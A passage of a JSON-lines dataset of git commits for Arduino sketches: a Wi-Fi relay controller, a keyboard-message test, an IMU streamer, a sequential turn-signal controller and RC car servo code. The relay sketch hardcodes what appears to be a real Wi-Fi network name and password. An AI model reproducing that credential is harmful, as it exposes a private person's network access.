'spark-as-client\/possible3.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"61059f4a7b7371166cc0d7644eb36d75b714432a","subject":"\ub9b4\ub808\uc774\ubaa8\ub4c8 Wi-Fi \uc5f0\ub3d9","message":"\ub9b4\ub808\uc774\ubaa8\ub4c8 Wi-Fi \uc5f0\ub3d9\n","repos":"yoowonyoung\/IoD,yoowonyoung\/IoD","old_file":"Arduino\/module_control+Wi_Fi\/module_control\/module_control.ino","new_file":"Arduino\/module_control+Wi_Fi\/module_control\/module_control.ino","new_contents":"#include <SoftwareSerial.h>\n\nSoftwareSerial softSerial(2, 3); \/\/ RX, TX\nString WSSID = \"LEE JEONG HYU\";\nString WPASS = \"9220230s*\";\nbool r;\nint relay1 = 4;\nint relay2 = 5;\n\nvoid setup() {\n \/* SETUP SERIAL COMMUNICATION *\/\n espSerialSetup();\n pinMode(relay1, OUTPUT);\n pinMode(relay2, OUTPUT);\n delay(2000); \/\/ Without this delay, sometimes, the program will not start until Serial Monitor is connected\n r = espSendCommand( \"AT\" , \"OK\" , 5000 );\n r = espSendCommand( \"AT+CIFSR\" , \"OK\" , 5000 );\n if ( !r ) {\n r = espSendCommand( \"AT+CWMODE=1\" , \"OK\" , 5000 );\n r = espSendCommand( \"AT+CWJAP=\\\"\" + WSSID + \"\\\",\\\"\" + WPASS + \"\\\"\" , \"OK\" , 15000 );\n }\n pinMode(8, OUTPUT);\n digitalWrite(relay2, HIGH);\n digitalWrite(relay1, HIGH);\n}\n\nvoid loop() {\n digitalWrite(relay2, HIGH);\n digitalWrite(relay1, HIGH);\n r = espSendCommand( \"AT+CIPSTART=\\\"TCP\\\",\\\"wy.iptime.org\\\",8099\" , \"OK\" , 5000 );\n String getRequest = \"GET \/Test\/Test HTTP\/1.0\\r\\n\";\n int getRequestLength = getRequest.length() + 2;\n r = espSendCommand( \"AT+CIPSEND=\" + String(getRequestLength) , \"OK\" , 5000 );\n if(espSendCommand( getRequest , \"ON\" , 20000 )){\n Serial.println(\"WTF\");\n digitalWrite(relay1, HIGH); \/\/ \ub9b4\ub808\uc774\ub97c \uc791\ub3d9\n \n delay(1000); \/\/ 2\ucd08 \ub300\uae30\n digitalWrite(relay1, LOW); \/\/ \uc5c6\uc744 \uacbd\uc6b0 \ub9b4\ub808\uc774\ub97c \ub054\n \n }else {\n digitalWrite(relay2, HIGH); \/\/ \ub9b4\ub808\uc774\ub97c \uc791\ub3d9\n delay(1000); \/\/ 2\ucd08 \ub300\uae30\n digitalWrite(relay2, LOW); \/\/ \uc5c6\uc744 \uacbd\uc6b0 \ub9b4\ub808\uc774\ub97c \ub054 \n }\n if ( !r ) {\n Serial.println( \"Something wrong...Attempting reset...\");\n \/\/espSendCommand( \"AT+RST\" , \"ready\" , 20000);\n espSendCommand( \"AT+CWMODE=1\" , \"OK\" , 5000 );\n espSendCommand( \"AT+CWJAP=\\\"\" + WSSID + \"\\\",\\\"\" + WPASS + \"\\\"\" , \"OK\" , 15000 );\n }\n delay(3000);\n}\n\nvoid espSerialSetup() {\n softSerial.begin(115200); \/\/ default baud rate for ESP8266\n delay(1000);\n softSerial.println(\"AT+CIOBAUD=9600\");\n delay(1000);\n softSerial.begin(9600);\n Serial.begin(9600);\n}\n\nbool espSendCommand(String cmd, String goodResponse, unsigned long timeout) {\n Serial.println(\"espSendCommand( \" + cmd + \" , \" + goodResponse + \" , \" + String(timeout) + \" )\" );\n softSerial.println(cmd);\n unsigned long tnow = millis();\n unsigned long tstart = millis();\n unsigned long execTime = 0;\n String response = \"\";\n char c;\n while ( true ) {\n if ( tnow > tstart + timeout ) {\n Serial.println(\"espSendCommand: FAILED - Timeout exceeded \" + String(timeout) + \" seconds\" );\n if ( response.length() > 0 ) {\n Serial.println(\"espSendCommand: RESPONSE:\");\n Serial.println( response );\n } else {\n Serial.println(\"espSendCommand: NO RESPONSE\");\n }\n return false;\n }\n c = softSerial.read();\n if ( c >= 0 ) {\n response += String(c);\n if ( response.indexOf(goodResponse) >= 0 ) {\n execTime = ( millis() - tstart );\n Serial.println(\"espSendCommand: SUCCESS - Response time: \" + String(execTime) + \"ms\");\n Serial.println(\"espSendCommand: RESPONSE:\");\n Serial.println(response);\n while (softSerial.available() > 0) {\n Serial.write(softSerial.read());\n }\n return true;\n }\n }\n tnow = millis();\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/module_control+Wi_Fi\/module_control\/module_control.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"d5a3b4e52a3ffc58bfba207ef276b53ccb0b478a","subject":"Started keymacro project","message":"Started keymacro project\n","repos":"djsegfault\/arduino,djsegfault\/arduino","old_file":"keymacro\/KeyboardMessage\/KeyboardMessage.ino","new_file":"keymacro\/KeyboardMessage\/KeyboardMessage.ino","new_contents":"\/*\n Keyboard Message test\n\n For the Arduino Leonardo and Micro.\n\n Sends a text string when a button is pressed.\n\n The circuit:\n - pushbutton attached from pin 4 to +5V\n - 10 kilohm resistor attached from pin 4 to ground\n\n created 24 Oct 2011\n modified 27 Mar 2012\n by Tom Igoe\n modified 11 Nov 2013\n by Scott Fitzgerald\n\n This example code is in the public domain.\n\n http:\/\/www.arduino.cc\/en\/Tutorial\/KeyboardMessage\n*\/\n\n#include \"Keyboard.h\"\n\nconst int buttonPin = 0; \/\/ input pin for pushbutton\nint previousButtonState = HIGH; \/\/ for checking the state of a pushButton\n\nconst int switchCount = 4;\nint prevButtonState[] = {0,0,0,0};\n\n\nvoid checkButton(int buttonNumber, void (*handler)(int) ){\n int buttonState = digitalRead(buttonNumber);\n if(buttonState == HIGH && prevButtonState[buttonNumber] == LOW) {\n Serial.print(\"Button \");\n Serial.print(buttonNumber);\n Serial.println(\" pressed\");\n (*handler)(buttonNumber);\n \n }\n prevButtonState[buttonNumber] = buttonState;\n}\n\n\nvoid setup() {\n Serial.begin(115200);\n \/\/ make the pushButton pin an input:\n pinMode(buttonPin, INPUT);\n pinMode(1, INPUT);\n \/\/ initialize control over the keyboard:\n Keyboard.begin();\n\n}\n\nvoid genericHandler(int buttonNumber) {\n Keyboard.print(\"You pressed the button \");\n Keyboard.println(buttonNumber);\n}\n\nvoid loop() {\n checkButton(0,&genericHandler);\n checkButton(1,&genericHandler);\n \n}\n\nvoid oldloop() {\n \/\/ read the pushbutton:\n int buttonState = digitalRead(buttonPin);\n Serial.println(buttonState);\n \/\/ if the button state has changed,\n if ((buttonState != previousButtonState)\n \/\/ and it's currently pressed:\n && (buttonState == HIGH)) {\n Serial.println(\"Is now HIGH\");\n delay(5000);\n \/\/ type out a message\n Keyboard.print(\"You pressed the button \");\n Keyboard.println(\" times.\");\n }\n \/\/ save the current button state for comparison next time:\n previousButtonState = buttonState;\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'keymacro\/KeyboardMessage\/KeyboardMessage.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"65646081c9a588b481c9963e5b7b25832e9f52d7","subject":"Add bno.ino","message":"Add bno.ino\n","repos":"andrewadare\/imu-visualizer,andrewadare\/imu-visualizer,andrewadare\/imu-visualizer,andrewadare\/imu-visualizer","old_file":"firmware\/bno\/bno.ino","new_file":"firmware\/bno\/bno.ino","new_contents":"#include \"NAxisMotion.h\"\n\nNAxisMotion imu;\nunsigned long prevTime = 0;\nconst int streamPeriod = 50; \/\/ ms\n\nvoid setup()\n{\n Serial.begin(115200);\n I2C.begin();\n imu.initSensor(); \/\/ I2C Address can be changed here if needed\n imu.setOperationMode(OPERATION_MODE_NDOF);\n imu.setUpdateMode(MANUAL);\n}\n\nvoid loop()\n{\n if ((millis() - prevTime) >= streamPeriod)\n {\n prevTime = millis();\n imu.updateQuat();\n imu.updateCalibStatus();\n\n String s = String(\"{\\\"time\\\":\") + prevTime\n + String(\", \\\"type\\\":\") + String(\"\\\"angles\\\"\")\n + String(\", \\\"qw\\\":\") + imu.readQuatW()\n + String(\", \\\"qx\\\":\") + imu.readQuatX()\n + String(\", \\\"qy\\\":\") + imu.readQuatY()\n + String(\", \\\"qz\\\":\") + imu.readQuatZ()\n + String(\", \\\"A\\\":\") + imu.readAccelCalibStatus()\n + String(\", \\\"M\\\":\") + imu.readMagCalibStatus()\n + String(\", \\\"G\\\":\") + imu.readGyroCalibStatus()\n + String(\", \\\"S\\\":\") + imu.readSystemCalibStatus()\n + \"}\";\n Serial.println(s);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/bno\/bno.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b54f5dfac60555a88dc9313c7ae5f0747568fa71","subject":"Add mode change via emergency flasher one tap","message":"Add mode change via emergency flasher one tap\n\nTap on the emergency flasher switch to change between standard and sequential mode. Pressing or holding the emergency flasher switch will activate the flashers as normal. This update removes the necessity for a switch to change the mode.","repos":"jasonsaler\/SequentialTL","old_file":"sequencial_turn_signal_4_8_0zxy\/sequencial_turn_signal_4_8_7zxy.ino","new_file":"sequencial_turn_signal_4_8_0zxy\/sequencial_turn_signal_4_8_7zxy.ino","new_contents":"#include <EEPROM.h>\n\n\/*\n\n+++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n+ + \n+ Program: Sequential Turn Signal Master +\n+ Version: 4.8.4zxy +\n+ Purpose: Using a 3 taillight per side configuration +\n+ this program will make them flash +\n+ sequentially for turn signal and brake. +\n+ 4.8.2 and later supports tap signaling. +\n+ 4.8.4 and Later supports tap mode change. +\n+ +\n+ Author: Jason Saler +\n+ First Created: 05\/06\/2013 +\n+ Date Last Edited: 09\/18\/2018 +\n+ +\n+++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n\n*\/\n\n\/\/ Define the input pins: Pin 9 will be right input, Pin 10 will be left input and Pin 11 will be brake input \n\/\/ 12 is Mode input which switches the program from sequential pattern to standard pattern\n#define RIGHT_SIGNAL_INPUT 9 \n#define LEFT_SIGNAL_INPUT 10 \n#define BRAKE_INPUT 11 \n\n\/\/ Depending on the relay board this may need to be reversed\n#define ON LOW\n#define OFF HIGH\n\n\/\/ Several standard time lengths in milliseconds\n#define FAST_BLINK 100\n#define QUICK_BLINK 200\n#define MEDIUM_BLINK 250\n#define LONG_BLINK 350\n#define SLOW_BLINK 450\n#define PAUSE_SECOND 1000\n\n\/\/ The number of times a turning indicator sequence will run through on a tap \n#define MAX_REPEAT_ON_TAP 4\n\n\/\/ Now declare the 8 light output pins, 4 per side. Variable names are quite descriptive\n\/\/ Can use basically any pin, but note: Pin 13 has an LED connected on most Arduino boards.\nconst int leftMarkers = 1;\nconst int leftOuter = 2;\nconst int leftMiddle = 3; \nconst int leftInner = 4;\nconst int rightInner = 5; \nconst int rightMiddle = 6; \nconst int rightOuter = 7; \nconst int rightMarkers = 8;\n\n\/\/ Constant value of the memory address used for storing and retrieving the mode\nconst int modeMemoryAddress = 0;\n\n\/\/ Variables\nbool isRightTap = false;\nbool isLeftTap = false;\nbool isEmergencyTap = false;\nint flashCount = 0;\nint mode = 0;\n\n\/\/ I. the setup routine runs once when you press reset: This loop will reset all the variables to their starting type and state.\nvoid setup() \n{ \n \/\/ Initialize the LEDs as outputs.\n pinMode(rightInner, OUTPUT); \n pinMode(rightMiddle, OUTPUT);\n pinMode(rightOuter, OUTPUT);\n pinMode(leftInner, OUTPUT);\n pinMode(leftMiddle, OUTPUT);\n pinMode(leftOuter, OUTPUT);\n pinMode(rightMarkers, OUTPUT);\n pinMode(leftMarkers, OUTPUT);\n \n \/\/ Initialize the input pins as, well, inputs of course... \n pinMode(RIGHT_SIGNAL_INPUT, INPUT);\n pinMode(LEFT_SIGNAL_INPUT, INPUT);\n pinMode(BRAKE_INPUT, INPUT);\n \n \/\/ Set the initial inputs as HIGH. Could also be done as low, but then all the states should be reversed throughout the program: 1 to 0 and visa versa.\n digitalWrite(RIGHT_SIGNAL_INPUT, HIGH);\n digitalWrite(LEFT_SIGNAL_INPUT, HIGH);\n digitalWrite(BRAKE_INPUT, HIGH);\n\n mode = EEPROM.read(modeMemoryAddress);\n}\n\n\/\/ II. The loop routine runs over and over again forever(or at least as long as the board has power and is working...) \n\/\/ This handles all of the actual light blinking and what not.\nvoid loop() \n{\n \/\/ 1. First the program will check if the brakes are on; if all inputs are 1, then nothing is on. \n \/\/ So nothing is lit up, set all the lights to LOW which is off.\n if((digitalRead(RIGHT_SIGNAL_INPUT) == 1) and (digitalRead(LEFT_SIGNAL_INPUT) == 1) and (digitalRead(BRAKE_INPUT) == 1) and (!isRightTap) and (!isLeftTap) and (!isEmergencyTap) )\n { \n off();\n resetFlashCount();\n } \n \n \/\/ 2. Next check if the brakes are on (when BRAKE_INPUT is 0).\n if(digitalRead(BRAKE_INPUT) == 0)\n {\n if((digitalRead(RIGHT_SIGNAL_INPUT) == 1) and (digitalRead(LEFT_SIGNAL_INPUT) == 1) and (digitalRead(BRAKE_INPUT) == 0) and mode == 0)\n { \n brakeSequenceFlashOn(FAST_BLINK);\n }\n \n \/\/ 2.1 Keep the lights lit as long as the brake is on \n while(digitalRead(BRAKE_INPUT) == 0)\n { \n \n if((digitalRead(LEFT_SIGNAL_INPUT) == 1) and (digitalRead(RIGHT_SIGNAL_INPUT) == 1))\n {\n (mode == 0) ? (brakeSequenceHoldOn()) : (brake());\n }\n \n \/\/ 2.2 Here is if the right turn signal and brake are on.\n if( (digitalRead(LEFT_SIGNAL_INPUT) == 1) and ( (digitalRead(RIGHT_SIGNAL_INPUT) == 0) || (isRightTap) ) )\n { \n (mode == 0) ? (rightSequenceBrake(QUICK_BLINK, QUICK_BLINK)) : (rightBlinkBrake(SLOW_BLINK, MEDIUM_BLINK));\n }\n \n \/\/ 2.3. Now if the left turn signal and brake are both on\n if( (digitalRead(RIGHT_SIGNAL_INPUT) == 1) and ( (digitalRead(LEFT_SIGNAL_INPUT) == 0) || (isLeftTap) ) )\n {\n (mode == 0) ? (leftSequenceBrake(QUICK_BLINK, QUICK_BLINK)) : (leftBlinkBrake(SLOW_BLINK, MEDIUM_BLINK)); \n }\n } \n\n if((digitalRead(LEFT_SIGNAL_INPUT) == 1) and (digitalRead(RIGHT_SIGNAL_INPUT) == 1) and (mode == 0) and (!isRightTap) and (!isLeftTap) )\n {\n brakeSequenceFlashOff(FAST_BLINK); \n }\n }\n \n \/\/ 3. Now checking for the emergency flashers being on, when this happens a fun litle flashing pattern is performed to warn other drivers of emergencies. If tapped the mode will change \n else if(( digitalRead(RIGHT_SIGNAL_INPUT) == 0) and (digitalRead(LEFT_SIGNAL_INPUT) == 0) and (digitalRead(BRAKE_INPUT) == 1) || (isEmergencyTap) )\n {\n (mode == 0) ? (emergencyFlasherSequence(FAST_BLINK, MEDIUM_BLINK, SLOW_BLINK)) : (emergencyFlasherBlink(SLOW_BLINK, MEDIUM_BLINK)); \n }\n\n \/\/ 4. This is the section if the brakes are on and the emergency flashers are on. The brakes will light in this case. \n if(( digitalRead(RIGHT_SIGNAL_INPUT) == 0) and (digitalRead(LEFT_SIGNAL_INPUT) == 0) and (digitalRead(BRAKE_INPUT) == 0))\n {\n if(mode == 0)\n brakeSequenceFlashOn(FAST_BLINK);\n \n while(digitalRead(BRAKE_INPUT) == 0)\n { \n (mode == 0) ? (brakeSequenceHoldOn()) : (brake()); \n }\n \n if(mode == 0)\n brakeSequenceFlashOff(FAST_BLINK);\n } \n \n else\n {\n \/\/ 5. This is if the right turn signal is on, do a cycle through the lights.\n if( ( (digitalRead(LEFT_SIGNAL_INPUT) == 1) and (digitalRead(BRAKE_INPUT) == 1) ) and ( (digitalRead(RIGHT_SIGNAL_INPUT) == 0) || (isRightTap) ) )\n {\n (mode == 0) ? (rightSequence(QUICK_BLINK, QUICK_BLINK)) : (rightBlink(SLOW_BLINK, MEDIUM_BLINK));\n }\n \n \/\/ 6. Here is if the left turn signal is on. Cycle through the lights.\n if( ( (digitalRead(RIGHT_SIGNAL_INPUT) == 1) and (digitalRead(BRAKE_INPUT) == 1) ) and ( (digitalRead(LEFT_SIGNAL_INPUT) == 0) || (isLeftTap) ) )\n {\n (mode == 0) ? (leftSequence(QUICK_BLINK, QUICK_BLINK)) : (leftBlink(SLOW_BLINK, MEDIUM_BLINK));\n }\n }\n}\n\n\/\/ III. All constructive functions are found below.\n\/\/ Two options are given for each action, a regular blink or a sequential pattern.\n\nvoid rightSequence(int durationMillis, int pauseDurationMillis)\n{\n checkIsTap(); \n \n selectLeftOn(OFF, OFF, OFF, OFF);\n selectRightOn(ON, OFF, OFF, OFF);\n delay(durationMillis);\n \n selectLeftOn(OFF, OFF, OFF, OFF);\n selectRightOn(ON, ON, OFF, ON);\n delay(durationMillis);\n \n selectLeftOn(OFF, OFF, OFF, OFF);\n selectRightOn(ON, ON, ON, ON);\n delay(durationMillis);\n\n off();\n delay(pauseDurationMillis);\n\n updateTapControl();\n}\n\nvoid rightBlink(int durationMillis, int offDurationMillis)\n{\n checkIsTap(); \n \n selectLeftOn(OFF, OFF, OFF, OFF);\n selectRightOn(OFF, ON, ON, ON);\n delay(durationMillis);\n \n off();\n delay(offDurationMillis);\n\n updateTapControl();\n}\n\nvoid leftSequence(int durationMillis, int pauseDurationMillis)\n{\n checkIsTap(); \n \n selectLeftOn(ON, OFF, OFF, OFF);\n selectRightOn(OFF, OFF, OFF, OFF);\n delay(durationMillis);\n \n selectLeftOn(ON, ON, OFF, ON);\n selectRightOn(OFF, OFF, OFF, OFF);\n delay(durationMillis);\n \n selectLeftOn(ON, ON, ON, ON);\n selectRightOn(OFF, OFF, OFF, OFF);\n delay(durationMillis);\n\n off();\n delay(pauseDurationMillis);\n\n updateTapControl();\n}\n\nvoid leftBlink(int onDurationMillis, int offDurationMillis)\n{\n checkIsTap(); \n \n selectLeftOn(OFF, ON, ON, ON);\n selectRightOn(OFF, OFF, OFF, OFF);\n delay(onDurationMillis);\n \n off();\n delay(offDurationMillis);\n\n updateTapControl();\n}\n\nvoid rightSequenceBrake(int durationMillis, int pauseDurationMillis)\n{\n checkIsTap(); \n \n selectRightOn(ON, OFF, OFF, OFF);\n selectLeftOn(ON, ON, ON, OFF);\n delay(durationMillis);\n \n selectRightOn(ON, ON, OFF, ON);\n selectLeftOn(ON, ON, ON, OFF);\n delay(durationMillis);\n \n selectRightOn(ON, ON, ON, ON);\n selectLeftOn(ON, ON, ON, OFF);\n delay(durationMillis);\n\n selectRightOn(OFF, OFF, OFF, OFF);\n selectLeftOn(ON, ON, ON, OFF);\n delay(pauseDurationMillis);\n\n updateTapControl();\n}\n\nvoid rightBlinkBrake(int onDurationMillis, int offDurationMillis)\n{\n checkIsTap(); \n \n selectLeftOn(OFF, ON, ON, OFF);\n selectRightOn(OFF, ON, ON, ON);\n delay(onDurationMillis);\n \n selectLeftOn(OFF, ON, ON, OFF);\n selectRightOn(OFF, OFF, OFF, OFF);\n delay(offDurationMillis);\n \n updateTapControl();\n}\n\nvoid leftSequenceBrake(int durationMillis, int pauseDurationMillis)\n{\n checkIsTap(); \n \n selectLeftOn(ON, OFF, OFF, OFF);\n selectRightOn(ON, ON, ON, OFF);\n delay(durationMillis);\n \n selectLeftOn(ON, ON, OFF, ON);\n selectRightOn(ON, ON, ON, OFF);\n delay(durationMillis);\n \n selectLeftOn(ON, ON, ON, ON);\n selectRightOn(ON, ON, ON, OFF);\n delay(durationMillis);\n\n selectLeftOn(OFF, OFF, OFF, OFF);\n selectRightOn(ON, ON, ON, OFF);\n delay(pauseDurationMillis);\n \n updateTapControl();\n}\n\nvoid leftBlinkBrake(int onDurationMillis, int offDurationMillis)\n{\n checkIsTap(); \n \n selectLeftOn(OFF, ON, ON, ON);\n selectRightOn(OFF, ON, ON, OFF);\n delay(onDurationMillis);\n\n selectLeftOn(OFF, OFF, OFF, OFF);\n selectRightOn(OFF, ON, ON, OFF);\n delay(offDurationMillis);\n \n updateTapControl();\n}\n\nvoid brakeSequenceFlashOn(int durationMillis)\n{\n selectLeftOn(ON, OFF, OFF, OFF);\n selectRightOn(ON, OFF, OFF, OFF);\n delay(durationMillis);\n \n selectLeftOn(ON, ON, OFF, OFF);\n selectRightOn(ON, ON, OFF, OFF);\n delay(durationMillis);\n}\n\nvoid brakeSequenceFlashOff(int durationMillis)\n{\n selectLeftOn(ON, ON, OFF, OFF);\n selectRightOn(ON, ON, OFF, OFF);\n delay(durationMillis);\n\n selectLeftOn(ON, OFF, OFF, OFF);\n selectRightOn(ON, OFF, OFF, OFF);\n delay(durationMillis);\n}\n\nvoid brakeSequenceHoldOn()\n{\n selectLeftOn(ON, ON, ON, OFF);\n selectRightOn(ON, ON, ON, OFF);\n}\n\nvoid brake()\n{\n selectLeftOn(OFF, ON, ON, OFF);\n selectRightOn(OFF, ON, ON, OFF);\n}\n\nvoid emergencyFlasherSequence(int flashDurationMillis, int offDurationMillis, int onDurationMillis)\n{\n checkIsTap();\n \n brakeSequenceFlashOn(flashDurationMillis); \n selectLeftOn(ON, ON, ON, ON);\n selectRightOn(ON, ON, ON, ON);\n delay(onDurationMillis); \n \n brakeSequenceFlashOff(flashDurationMillis); \n off();\n delay(offDurationMillis);\n\n updateTapControl();\n}\n\nvoid emergencyFlasherBlink(int onDurationMillis, int offDurationMillis)\n{\n checkIsTap();\n \n selectLeftOn(OFF, ON, ON, ON);\n selectRightOn(OFF, ON, ON, ON);\n delay(onDurationMillis);\n \n off();\n delay(offDurationMillis); \n\n updateTapControl();\n}\n\nvoid off()\n{\n selectLeftOn(OFF, OFF, OFF, OFF);\n selectRightOn(OFF, OFF, OFF, OFF);\n}\n\n\/\/IIIa. Functions that handle the actual digital write actions.\n\/\/ Separate function for left side and right side.\n\nvoid selectLeftOn(boolean leftInnerPower, boolean leftMiddlePower, boolean leftOuterPower, boolean leftMarkersPower)\n{\n digitalWrite(leftInner, leftInnerPower); \n digitalWrite(leftMiddle,leftMiddlePower);\n digitalWrite(leftOuter, leftOuterPower);\n digitalWrite(leftMarkers, leftMarkersPower);\n}\n\nvoid selectRightOn(boolean rightInnerPower, boolean rightMiddlePower, boolean rightOuterPower, boolean rightMarkersPower)\n{\n digitalWrite(rightInner, rightInnerPower); \n digitalWrite(rightMiddle, rightMiddlePower);\n digitalWrite(rightOuter, rightOuterPower);\n digitalWrite(rightMarkers, rightMarkersPower);\n}\n\n\/\/ IIIb. Tap Logic Functions\n\nvoid checkIsTap()\n{ \n if(flashCount > 0)\n {\n if( (digitalRead(RIGHT_SIGNAL_INPUT) == 0) and (digitalRead(LEFT_SIGNAL_INPUT) == 0) )\n {\n isEmergencyTap = false;\n resetFlashCount();\n } \n else if( (digitalRead(RIGHT_SIGNAL_INPUT) == 0) )\n {\n isRightTap = false;\n resetFlashCount();\n }\n else if( (digitalRead(LEFT_SIGNAL_INPUT) == 0) )\n {\n isLeftTap = false;\n resetFlashCount();\n }\n }\n else\n { \n if( (digitalRead(RIGHT_SIGNAL_INPUT) == 0) and (digitalRead(LEFT_SIGNAL_INPUT) == 0) )\n isEmergencyTap = true;\n else if( (digitalRead(RIGHT_SIGNAL_INPUT) == 0) )\n isRightTap = true;\n else if( (digitalRead(LEFT_SIGNAL_INPUT) == 0) )\n isLeftTap = true;\n }\n}\n\nvoid updateTapControl()\n{\n flashCount++;\n \n if( (flashCount >= MAX_REPEAT_ON_TAP) and (isRightTap) )\n {\n isRightTap = false;\n resetFlashCount();\n }\n else if( (flashCount >= MAX_REPEAT_ON_TAP) and (isLeftTap) )\n {\n isLeftTap = false;\n resetFlashCount();\n }\n else if( (flashCount >= 2) and (isEmergencyTap) )\n {\n isEmergencyTap = false;\n resetFlashCount();\n\n (mode == 0) ? (mode = 1) : (mode = 0);\n \n EEPROM.write(modeMemoryAddress, mode);\n }\n}\n\nvoid resetFlashCount()\n{\n flashCount = 0;\n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sequencial_turn_signal_4_8_0zxy\/sequencial_turn_signal_4_8_7zxy.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"93c66f2f125656fa69da3e0e5cce4e1525a1f56f","subject":"Kart playing sounds and changing rear lights","message":"Kart playing sounds and changing rear lights\n","repos":"jcuroboclub\/Project-Mario,jcuroboclub\/Project-Mario","old_file":"Zumo\/Kart\/Kart.ino","new_file":"Zumo\/Kart\/Kart.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Zumo\/Kart\/Kart.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6ca34ebbbc1c69c579dd1f50bc506390c7bd4477","subject":"Initial commit of Arduino files","message":"Initial commit of Arduino files","repos":"UvinduW\/RCAutopilot,UvinduW\/RCAutopilot","old_file":"Arduino\/Tamiya_Control\/Tamiya_Control.ino","new_file":"Arduino\/Tamiya_Control\/Tamiya_Control.ino","new_contents":"#include <Servo.h>\n\nServo driveMotor;\nServo turnMotor;\n\n\/\/ duration for output\nint timeDelay = 50;\nint reverseDelay=100;\nint forwardDelay=500;\n\n\/\/ initial command\nint command = 0x30;\n\n\/\/Specify external pins\nint drivePin = 9;\nint turnPin=8;\n\n\/\/Initialise speed and turn\nint driveSpeed=90;\nint turnAngle=90;\n\n\/\/Trim needed to center the steering \nint trimAngle=-10; \n\n\/\/set max settings\nint maxFSpeed=80;\nint maxRSpeed=110;\nint maxLeft=60;\nint maxRight=120;\nint index=0;\nint control_message[8];\nint throttle=0;\nint angle=0;\nint vehicle_speed=0;\n\nint reverseEngaged=0;\n\nvoid setup() {\n \/\/Setup serial port\n Serial.begin(115200);\n\n \/\/Attach drive and turn motors\n driveMotor.attach(drivePin);\n turnMotor.attach(turnPin);\n\n \/\/Neutral the drive motor\n driveMotor.write(90);\n\n \/\/Center the steering\n turnMotor.write(90+trimAngle);\n}\n\nvoid loop() {\n \/\/receive command\n if (Serial.available() > 0){\n command = Serial.read();\n command = command - 48;\n control_message[index] = command;\n index++;\n }\n if (index >= 8)\n {\n angle = 100 * control_message[1] + 10 * control_message[2] + control_message[3];\n \/\/Serial.print(angle);\n throttle = 100 * control_message[5] + 10 * control_message[6] + control_message[7];\n \/\/Serial.print(throttle);\n \n turnAngle = angle*50\/255;\n if (control_message[0] == 1)\n {\n turnAngle = turnAngle * -1;\n }\n turnMotor.write(90 + turnAngle + trimAngle);\n \n vehicle_speed = throttle*30\/255;\n if (control_message[4] == 0)\n {\n driveMotor.write(90 - vehicle_speed);\n reverseEngaged=0;\n }\n else\n {\n driveMotor.write(90 + vehicle_speed);\n }\n \n \n \/* For Debugging:\n for (int i=0; i<8; i++)\n {\n Serial.print( control_message[i]);\n }\n Serial.println();\n Serial.print (\"Throttle: \");\n Serial.print (90 - vehicle_speed);\n Serial.print(\" \");\n Serial.print (\"Angle: \");\n Serial.print (90 + turnAngle); \n Serial.println();*\/\n \n index=0;\n }\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/Tamiya_Control\/Tamiya_Control.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"228cedccc03fe31eaa0048e552334263a6e221f9","subject":"working on motor driver","message":"working on motor driver","repos":"opentrv\/OpenTRV-TRV2","old_file":"testsuite\/REV20Motor\/REV20Motor.ino","new_file":"testsuite\/REV20Motor\/REV20Motor.ino","new_contents":"\/*\nThe OpenTRV project licenses this file to you\nunder the Apache Licence, Version 2.0 (the \"Licence\");\nyou may not use this file except in compliance\nwith the Licence. You may obtain a copy of the Licence at\n\nhttp:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the Licence is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied. See the Licence for the\nspecific language governing permissions and limitations\nunder the Licence.\n\nAuthor(s) \/ Copyright (s): Deniz Erbilgin 2017\n*\/\n\/**\n * Minimal REV7 config for testing power consumption.\n * Aim is to:\n * - todo init GPIO pins to safe mode.\n * - todo init peripherals to safe low power mode.\n * - loop endlessly.\n *\/\n\n\/\/ INCLUDES & DEFINES\n\/\/ Debug output flag\n#define DEBUG\n\/\/ REV7 \/ DORM1 all-in-one valve unit, secure TX.\n#define CONFIG_TRV20_PROTO\n\/\/ Get defaults for valve applications.\n#include <OTV0p2_valve_ENABLE_defaults.h>\n\/\/ All-in-one valve unit (DORM1).\n#include <OTV0p2_CONFIG_REV20.h>\n\/\/ I\/O pin allocation and setup: include ahead of I\/O module headers.\n#include <OTV0p2_Board_IO_Config.h>\n\/\/ OTV0p2Base Libraries\n#include <OTV0p2Base.h>\n\/\/ RadValve libraries\n#include <OTRadValve.h>\n\n\n\/\/ Debugging output\n#ifndef DEBUG\n#define DEBUG_SERIAL_PRINT(s) \/\/ Do nothing.\n#define DEBUG_SERIAL_PRINTFMT(s, format) \/\/ Do nothing.\n#define DEBUG_SERIAL_PRINT_FLASHSTRING(fs) \/\/ Do nothing.\n#define DEBUG_SERIAL_PRINTLN_FLASHSTRING(fs) \/\/ Do nothing.\n#define DEBUG_SERIAL_PRINTLN() \/\/ Do nothing.\n#define DEBUG_SERIAL_TIMESTAMP() \/\/ Do nothing.\n#else\n\/\/ Send simple string or numeric to serial port and wait for it to have been sent.\n\/\/ Make sure that Serial.begin() has been invoked, etc.\n#define DEBUG_SERIAL_PRINT(s) { OTV0P2BASE::serialPrintAndFlush(s); }\n#define DEBUG_SERIAL_PRINTFMT(s, fmt) { OTV0P2BASE::serialPrintAndFlush((s), (fmt)); }\n#define DEBUG_SERIAL_PRINT_FLASHSTRING(fs) { OTV0P2BASE::serialPrintAndFlush(F(fs)); }\n#define DEBUG_SERIAL_PRINTLN_FLASHSTRING(fs) { 